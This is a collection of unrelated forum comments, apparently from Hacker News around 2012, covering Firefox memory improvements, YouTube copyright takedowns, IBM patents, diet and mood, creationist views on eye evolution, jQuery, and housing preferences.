I had to do some testing and installed latest versions of Firefox, Chrome, IE and Opera. To my surprise, Firefox seems to have improved a lot in the last few versions. It feels much snappier and more responsive than Chrome, which was not the case for a long time. Looking at other stuff, like download page experience, anti-aliased fonts on pages by default and overall look and feel, one can see that Mozilla has put a lot of effort into fixing the problems and trying to get back to #1 spot in terms of being the most advanced browser.

Competition from Chrome has awaken them from sleep and finally we are starting to see a very fast, slick browser. Given all the plugin ecosystem, Firefox could be back on top. The only problem is that they might be a little bit too late with these improvements, and it would be hard to win back the users that switched to Chrome. Most of my friends who switched won't even be bothered to try new Firefox. They just discard it, the same way majority of ex-IE users discards newer versions of IE without even trying once.

Apartment complex exclusivity was re-affirmed as illegal a few years ago [1]. Of course if there is only one choice in the area, that's perfectly legal.

Does HBO Go work well on those device? I watched an episode of Newsroom using the HBO Go website, and it was a terrible experience. Ignoring the "sign into your cable company" thing, the video quality wasn't that great despite using tons of bandwidth. It stuttered but looked OK. On the other hand Netflix movies look much better and use less bandwidth. It's like they're still using the old Flash codec instead of MP4.

Well at some point Google needs to be sued by not-big content owners. Frankly I think they would welcome that suit which would charge them with restraint of trade and maybe breach of contract. They could 'lose' that suit and then go back to making it much harder for the big labels to pull things down.

The reason I think they would like to lose it is that they know they are pissing off users, but their content strategy is walking (or perhaps running) under the shadow of a falling dinosaur (the labels) and they need to be sure not to be there when the corpse hits. This would give them an excuse to run faster.

In my own experience, diet had a much more dramatic effect on my day-to-day mood. Switching to basically a slow carb diet helped my mood and outlook tremendously.

EDIT: I wanted to add that exercise also has a great effect on my mood, but only temporarily. By following a consistent diet that (in my case) is low glycemic and high in protein, the stability of my mood was much greater than exercise alone.

I do not have time to read the whole paper right now, but one question I have about the results is the prescribed exercise. In my experience, the type of exercise I do can have very different affects in how it makes me feel afterwards. For example, my mood is stabilized for much longer if I do 15 minutes of interval sprints rather than a 30 minute run. Cycling will also make me feel much different than high-weight/low-rep weightlifting.

What I am getting at is that if the "exercise" routine was run for 30 minutes 2 time a week, I could easily see how that would not affect depression. However, if it was a regime of HIIT or heavy compound exercises (squat/deadlift/bench), I would be very surprised if people didn't see long term mood benefits.
>The eyes from no eyes makes no sense to me, since the entire array of light sensing capabilities are seen in nature. //

A few articles addressing eyes from a creationist perspective, the first addresses your point most directly. I'll give author and credentials as it seems fitting.

* http://www.answersingenesis.org/articles/2009/01/13/eyes-hav... DeWitt (Ph.D in neuroscience);

* http://www.answersingenesis.org/articles/2010/09/14/darwin-a... Mitchell (MD, FACP, BA (cell bio & biochem)

* http://www.answersingenesis.org/articles/cm/v18/n4/eye-for-c... interview with Marshall a PhD in Opthalmic science

These, indeed the first alone, should make sense at least of the argument from Christian creationist scientists against Darwinian evolution providing a convincing argument for the undirected formation of the eye.

Interestingly this, http://www.answersingenesis.org/articles/am/v3/n3/seeing-eye, answers a question that I've seen raised about the development of the retina and cornea+lens and how they can possibly combine if they develop separately; it gives a very brief acknowledgement of the retina and rearward parts forming from a brain "bud" and the cornea and lens forming from the over-covering flesh of the to-be-formed eye socket. Of course Haeckel's fraud makes one rightly nervous about assuming 'ontogeny recapitulates phylogeny' but it at least provides an insight in to a potential evolutionary process.

I found this http://www.answersingenesis.org/articles/am/v3/n3/seeing-eye from the same source quite interesting, on microscopic eye movements that are apparently essential to proper functioning.

I'd wager IBM is the absolute last person anyone would want to tick off on patents.
I used to wonder the same thing, but after a while I've found that it already pays to include jQuery (or similar) as soon as your code reaches a complexity of "does more than one kind of thing" (roughly).
First, he never said it was a big firm, second, I don't see how your comment is at all relevant (aside from being tremendous fodder for cynics).
Yes, and WhiteHats would raise those security concerns with the company, privately, and work with them to get it solved. If the company didn't work to fix them, that's when you raise it publicly.

I got a bit annoyed when the article kept conflating 'power' with 'number of cpu cycles running in parallel to get an answer.' I can tell you that we are no where near having the compute pipeline of 10 racks of Power750 servers in a co-processor in a smartphone.
I doubt readers have anything to do with hellbanning. You can have plenty of karma and still get hellbanned which clearly implies arbitrary moderator action. (But of course, when bringing that up one gets to read the rationalizations for such cowardly abuses of power, which is a learning experience, too... and not one of minor importance)
Well said. I think that I would be shy of describing myself as an "ideas guy" simply because of the experience I've had with people who describe themselves that way.

But I appreciate your more nuanced interpretation of both the phrase and the parent's intention.

Looking back at the vantage point of my own 10 year old "startup" - oops, I mean "small SaaS software business" - I can certainly point to a couple good ideas that took about 5 years' execution apiece =)

To put it all another way:

If some young person said to me "I'm an ideas guy", that would probably be the end of my taking them seriously

If that same young person said to me "I've got a lot of good ideas - I think - but I'm not sure of my ability to make them happen", then I would respond very differently.
The issue is that it would be much harder for an algorithm to figure out whether a line was something you drew or the grid lines of the paper, especially if the orientation is off. If the algorithm only has to look for a dot pattern with a known relative spacing, it makes the problem much easier.
Have you tried the "Don't load tabs until selected" option? It's under "Tabs" in the options/preferences. It causes restored tabs to load lazily, which can speed up start-up significantly.

Because Sony and some other labels are much bigger and don't really have much to lose by never releasing the copyright claim, so until people pressure this to change this will happen over and over.
Nope, I asked my friend who worked at Youtube about this. He told me that they have to remove every video the label asks to have removed. Seems like a fantastic system. Surprisingly another American legal convention that favors a monsterously large corporation and shits on the individual citizen.
Incidentally, Nuance, the company behind the speech recognition tech in Siri, licenses several patents from IBM.

I doubt if there exists any technology today that doesn't infringe on any IBM patent.
That's my working theory, too. So the same improvements get reported four times, and people don't remember which channel the improvement was released on.
Everything in the post seems positive. Is there anything that is not so great about working at Stripe or could be improved? Alex may be too new to answer but it would be great if other Stripe employees could weigh in.
The OS always recovers all of the memory from a process that has terminated (barring horrible kernel bugs), and it doesn't need to look through the process image for pointers that need to be freed.

When a process allocates memory, the kernel doesn't give it a physical memory address. It gives it a virtual address, which, when accessed, will be mapped to some physical address. The kernel has to keep track of which virtual addresses map to which physical addresses for each process, and it stores these mappings in a data structure called a "page table". At all times, the kernel knows what memory segments are in use by a given process.

So, when a process exits, the kernel can just look at its page table to see what memory had been allocated to it. Provided that no other processes shared the same memory, it can free it.
Glad to hear it! But as implied above, memory consumption is only interesting because of its effects on performance and stability (both of the browser and other programs running on the system). Don't choose your browser by looking at the memory consumption, choose your browser based on how it feels when you use it.
I hadn't seen the blog before. I just gotta say, that Kudos button is awesome.
Who could pay your USA politicians enough to give such a clause teeth given the deep pockets of media mega-corps?

The damage performed is restriction of the entire populations ability to enjoy a PD work. So 50¢ per head of population should be reasonable damages. That should stop such fraud against the populace pretty quickly I'd think?

> It is trivial to get raw dom nodes out of jQuery, so you can easily use jQuery to begin with and replace any code with the full DOM API calls should it every become a performance issue.

That's still going to be a lot of work if the performance issues turn out to be many separate jQuery calls spread all over your code, which is not unlikely.
It is probably good to have someone in this role, if everyone were doing it it would probably be a productivity drain. But as the only one doing it you may be able to spot issues that no one else has the same total oversight to catch.

Overtreatment Is Taking a Harmful Toll
Please tell me which four releases you are talking about. I'm the MemShrink project lead. It's a common misconception that we claim memory improvements all the time, but it's just not true and it drives me crazy.

If you look at the release notes, we claimed improvements in add-on memory consumption for Firefox 15, and general improvements for the browser itself in Firefox 7. (And also Firefox 3, I think, but that's ages ago predates my time working on the project.)

I know this because I wrote the accompanying blog posts for those two releases (https://blog.mozilla.org/nnethercote/2012/07/19/firefox-15-p... and https://blog.mozilla.org/nnethercote/2011/08/09/firefox-7-is...) and liaised with marketing about the release notes.

I really want to understand where this misconception comes from. I think repeated reporting in the tech press of the same improvement as it moves from Nightly to Aurora to Beta to release might be the cause.
This is why I program with a code editor / interactive console that tells me these things as I'm typing :-)
Depends who you are and how big you are. Not every company can have the very best employees in the industry.
Someone really needs to compete with YouTube. I really hoped Vimeo could do it, since they actually have a pretty decent HTML5 player, but it doesn't seem to be happening.
Hmm which browser are you using? It should take you the sign up page.
Make sure you enable plugins.
Just a thought but wondering if the abundance of free wifi, fast home internet access & unlimited data plans for iPhones in the US mean that they're less likely to be without internet access - so wikipedia is always available.

Personally here in the UK, I find data charges quite expensive so I limit my access. Also I don't have accessible wifi at work so I'd probably find the offline feature quite useful! Where as I know my friends in the US are most of the time pretty well connected. Everytime I speak to them they're streaming audio, video or both!
I put good odds on a jury drawing the line by putting the shopowner in considerable debt if not in jail.
The location of process arguments on the stack (and environment variables) is just a convention between your kernel and system libc's crt0.a / the dynamic loader. (Not part of the C standard.)
I really like the design of that 'blog'. That said, the story he / narrative that he is suggesting is a little troubling for our industry.
Most of these "entrepreneurs" are just product/service designers. The problem is, the world of startups is starting to look like the counter at 7-11. We need real ideas, physical technology, not just some worthless app.
That's one thing that amazed me when I was out in the UK. Even very nice homes are relatively small. Living rooms where you could lie on the floor and touch two walls were not uncommon.

It just goes to show you how humans can adapt to most any environment. A lot of what we think we "need", we only "want".
Crazy idea time: since the problem with the demand end is the difficulty of telling the difference between stolen property and legitimate secondhand sales, what would happen if all sales of secondhand bikes were banned? Would the reduction in theft be worth the loss of end-of-life revenue plus slight erosion of liberty? Not a rhetorical question, I don't know the answer.
Needs slightly more checking against near-duplicates submissions. Sometimes i get a deja vu feeling (maybe it's just a glitch in the matrix).

Though, some important issues that stays current deserves several updated submissions. Those near-dups are good.
it does feel boring though when a lecturer is also talking to 30 or more other people at the same time with little to no actual interaction with the class
It also wouldn't work. This just reassigns your local copy of argv[0] to a different memory location. Also, in what circumstances can argc be 0?
I've talked quite a bit with the folks at Degreed and have been impressed. I really REALLY hope what they are aiming for succeeds.
I can never seem to switch between profiles very effectively. I wish there was a way to run firefox in a "trial" mode where it just created a new temporary profile that it got rid of on exit.

I'd like to try out firefox nightly from time to time to see if they've fixed a feature yet or if I should go into the bug tracker. However currently I've managed to accidentally trash my profile a couple times. I made a new profile for nightly, but it then seemed to break firefox beta.. blah blah blah.
I would love to see someone set up an all-new Usenet network that is proactively disconnected from the old one and disallows any binaries. Especially if it were well-run and seeded by users from, say, HN, I imagine it could be a fabulous place for discussions on all things geeky.

Hell, if you have to change the port numbers and the name of the system to get around ISPs that fear it, that'd even be fine.
Please give FF15 a try. We've made lots of improvements. See https://wiki.mozilla.org/Performance/MemShrink and https://blog.mozilla.org/nnethercote/category/memshrink/ for details.
I think points 4 and 5 are just premature optimization.

$('input[name=firstname]') is better than $('#firstname') because with the latter you don't know whether you have an input, or some div containing a label and an input. The speed difference is meaningless.

The example in 5 doubles the amount of code and only provides a speed benefit if you are constantly setting a value to the same thing which indicates there is some other problem with your strategy. #5 is a code smell to me.
I would argue that simply reading the guidelines page would be sufficient in order to properly assimilate a new user into the community, wouldn't you? After a day or two of reading the comments, I had a pretty good idea of what the standards of the community were.
Fixing recruitment: Whatever happened to transparency?
The analogy is fine.

Walk into a well stocked military surplus store and you can walk out with all the tools you need to break into a house in short order, and trust me it doesn't take long to learn how to use them well enough.

The point is that once someone is determined enough to get into either your home or network, it doesn't take much to reach a stage where the owner has to go to great lengths to resist a very unlikely occurring, but very likely successful, attack.
ctrl+arrows are keys in Opera to go back/forward and to highlight links on a page. Needless to say, you cannot use the run button on this site in Opera.
The sad thing about all this is that this does not necessarily mean that the verdict can be thrown out. Post-verdict juror interviews can only be used to throw out verdicts if they reveal gross juror misconduct. Juror incompetence is generally not sufficient grounds to throw out a verdict (assuming unlike in this case, that the verdict is otherwise coherent).
Now that the housing bubble has collapsed and devastated the economies of the housing-dependent south, I think you'll see the trend continue. I also think you'll see cultural trends push things in the other direction.

I grew up in the DC suburbs, and my parents have a 6,000 sq-ft house. It's completely unwieldy and costs a fortune to heat and cool, not to mention its 30 minutes from the nearest anything, but they cling to it because they perceive having a huge house as a signal of "having made it."

My wife and I, in the next generation, feel the complete opposite way. Our "dream houses" are 1,500 sq-ft high-rise condos in Chicago or a commutable suburb like Evanston. I don't want my dad's hour-long car commute, I'd much rather have a 25-minute train-commute where I can at least pull out my laptop and get started on my inbox. We don't want the entire floors my parents don't use, but we do want things like fixing leaky showers to be someone else's problem. We don't want the big back yard, we'd rather have the 1,200 acre park up the street and the lakefront beach.

I think there are many people in our age demographic (late 20's) who feel the same way. As they reach the age when they've settled into careers and starting families, they're much less inclined to give up their lifestyles for big houses in the suburbs. You can even see this reflected in the media. In the 1970's there were tons of shows on TV where people lived in suburbs. Look at the popular shows of today--nearly everyone lives in apartments in urban-ish areas.
On the diet angle, I noticed a dramatic improvement when I drank tea as opposed to coffee. YMMV of course, but in my case drinking coffee even in the morning kept me up later at night.

I do notice however, that regular exercise helps with my stress-coping ability.
I think he may have a valid point. Perhaps apple have invented some new numbers, like eleventy-four, that don't fit into the old computers properly due to magic and stuff.

I can't find it again, but I read somewhere yesterday that Armstrong was up to 150 bpm during the landing. Even the steeliest of missle-men feel stress, it's how they react to it that gives them the edge.
I recall reading about an experiment where obese mice were injected with insulin regularly after being denied food. The mice starved to death despite still having fat stores.
Of course, mice are not humans, but this implies that diets that stimulate a lot of insulin production (or normal amounts in insulin-resistant populations) would cause a person to not lose fat.
